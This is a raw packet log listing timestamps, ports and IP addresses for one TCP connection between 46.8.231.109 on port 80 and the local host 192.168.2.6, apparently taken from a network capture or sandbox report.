Oct 7, 2024 18:00:22.562686920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562704086 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562719107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.563019037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.563028097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.563038111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.563050985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.563067913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.563091993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.596326113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.596394062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.596415997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.596425056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.596507072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.596507072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.596551895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.596561909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.596574068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.596589088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.596609116 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.596643925 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.598750114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.598815918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.598828077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.598880053 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.598970890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.598982096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.598992109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599004030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599014997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599024057 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599061012 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599061966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599107981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599118948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599169970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599275112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599288940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599301100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599314928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599323988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599327087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599338055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599350929 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599351883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599400043 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599551916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599562883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599572897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599584103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599601984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599605083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599612951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599636078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599667072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599858046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599868059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599879026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599889994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599900007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599910975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.599931002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.599962950 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600379944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600389957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600400925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600411892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600423098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600434065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600435019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600445986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600454092 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600457907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600470066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600475073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600483894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600496054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600496054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600516081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600554943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600845098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600857019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600867033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600883961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600894928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600905895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600912094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600917101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.600946903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600948095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600980997 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.600997925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.601011038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.601021051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.601061106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.601085901 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.601089001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.601103067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.601109982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.601114988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.601125002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.601130009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.601135969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.601202965 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.601244926 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.644378901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644435883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644443035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.644448042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644474030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.644489050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.644546032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644557953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644571066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644582033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644593954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644599915 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.644639015 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.644783020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644794941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644809008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644820929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644829035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.644833088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.644846916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.644879103 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645050049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645061016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645072937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645086050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645091057 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645097017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645111084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645118952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645143986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645158052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645334959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645345926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645364046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645375013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645375967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645392895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645397902 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645405054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645406008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645416975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645427942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645436049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645452023 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645487070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645787001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645798922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645808935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645819902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645829916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645837069 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645842075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645853996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645864010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.645875931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645893097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.645908117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.646084070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646095991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646126986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.646143913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.646147013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646158934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646169901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646182060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646193027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646193981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.646204948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646222115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.646245003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.646426916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646437883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646450043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646466970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.646488905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.646490097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646502972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646517992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646526098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646531105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.646543026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.646583080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.680298090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.680318117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.680329084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.680376053 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.680417061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.680680990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.680692911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.680705070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.680717945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.680737972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.680737972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.680773973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.682265043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682324886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682334900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682347059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.682380915 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.682568073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682581902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682593107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682605028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682629108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.682657957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.682668924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682698965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682755947 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.682775974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682787895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682800055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682822943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.682852030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.682949066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.682998896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683017969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683031082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683077097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683104038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683115959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683128119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683140039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683150053 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683154106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683180094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683208942 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683300972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683314085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683325052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683357954 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683427095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683460951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683473110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683482885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683495045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683509111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683511972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683522940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683533907 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683558941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683589935 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683701038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683715105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683726072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683737040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683760881 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683764935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683779001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683787107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683789968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683804989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683805943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683818102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683830023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.683844090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683861971 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.683890104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.684345007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684357882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684370995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684381008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684393883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684395075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.684408903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684416056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.684417009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684422970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684429884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684437990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684441090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.684442997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684449911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.684463978 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.684489012 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.684519053 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.685295105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.685307980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.685318947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.685329914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.685343981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.685352087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.685353041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.685395002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.685395002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.727911949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.727925062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.727936983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.727974892 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.727993011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728003979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728008032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728017092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728028059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728034973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728053093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728086948 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728219032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728264093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728341103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728399038 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728430986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728442907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728455067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728470087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728503942 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728564978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728579998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728593111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728604078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728621006 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728655100 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728825092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728837013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728848934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728861094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728868961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728873014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728884935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.728888988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.728921890 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.729110003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729121923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729135036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729146004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729159117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.729166031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729178905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729191065 CEST	80	49718	46.8.231.109	192.168.2.6
